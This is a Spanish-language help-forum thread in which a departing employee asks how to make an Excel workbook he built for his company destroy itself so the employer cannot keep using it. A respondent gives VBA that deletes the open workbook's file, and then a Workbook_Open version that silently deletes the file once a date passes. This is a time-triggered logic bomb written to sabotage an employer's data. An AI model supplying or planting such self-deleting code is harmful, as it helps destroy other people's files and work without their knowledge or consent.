Dañar archivo EXCEL!

Lo que quiero es una macro que deje inservible un archivo que tengo programación VB.
Es decir que lo dañe que no lo puedan volver a usar.

Diseñe y adapte una aplicación para llevar el control de un material en la compañía donde laboro, pero se me presento una oportunidad de un mejor empleo y como no quiero que se beneficien gratis de esta aplicación quiero que no la puedan utilizar mas!

Lo que quiero es que al cumplirse un numero de veces de abrir el archivo se ejecute una macro que dañe el archivo.

Ayudenme! Solo si no sabes como hacerlo no rechaces la pregunta!

1 respuesta

Respuesta
2

Puedes usar algo como esto cuyo autor es mi querido amigo Pavel:

Sub AutoDestruccion() 
On Error Resume Next 
 Application. DisplayAlerts = False 
 With ActiveWorkbook 
 . ChangeFileAccess xlReadOnly 
 Kill. FullName 
 . Close 
 End With 
 Application. DisplayAlerts = True 
End Sub

Podrías colocarlo en un evento de tu libro que detecte la fecha y/o que vaya sumando un valor en alguna hoja oculta. Claro que asi protejas el proyecto VBA para que nadie lo visualice, es probable que un usuario con algo de conocimiento o con mucha curiosidad para guglear, pueda finalmente ver todo

OK lo probare y te informo

No olvides cerrar el tema

Abraham,

Mira lo use en un archivo de prueba pero la verdad trate de poner un evento de tu libro que detecte la fecha y/o que vaya sumando un valor en alguna hoja oculta tal como tu mencionas pero no me funciono si puedes regálame el código completo para verificar en donde tengo el error.

Es decir ayudame a que cuente un evento y una vez llegue a ese limite se active la eliminación del archivo con el código que tu me envías.

Cryusthian

El evento 'Open' Del libro te vendría bien. Copia y pega este código en el modulo del libro ('ThisWorkBook', nombre por defecto):

Private Sub Workbook_Open()
On Error Resume Next
 If Date >= "15/11/2012" Then
 Application.DisplayAlerts = False
 With ActiveWorkbook
.ChangeFileAccess xlReadOnly
 Kill .FullName
 .Close
 End With
 Application.DisplayAlerts = True
 End If
MsgBox "En " & CDate("15/11/2012") - Date & " días este archivo se eliminara"
End Sub

No olvides que estoy colocando como referencia el 15 de este mes, ya tu adecualo a la fecha que más te convenga. Para probarlo, colocalo en un archivo vacío poniéndolo por ejemplo la fecha de hoy, guardalo, ábrelo y veraz como se elimina.

Añade tu respuesta

Haz clic para o

Más respuestas relacionadas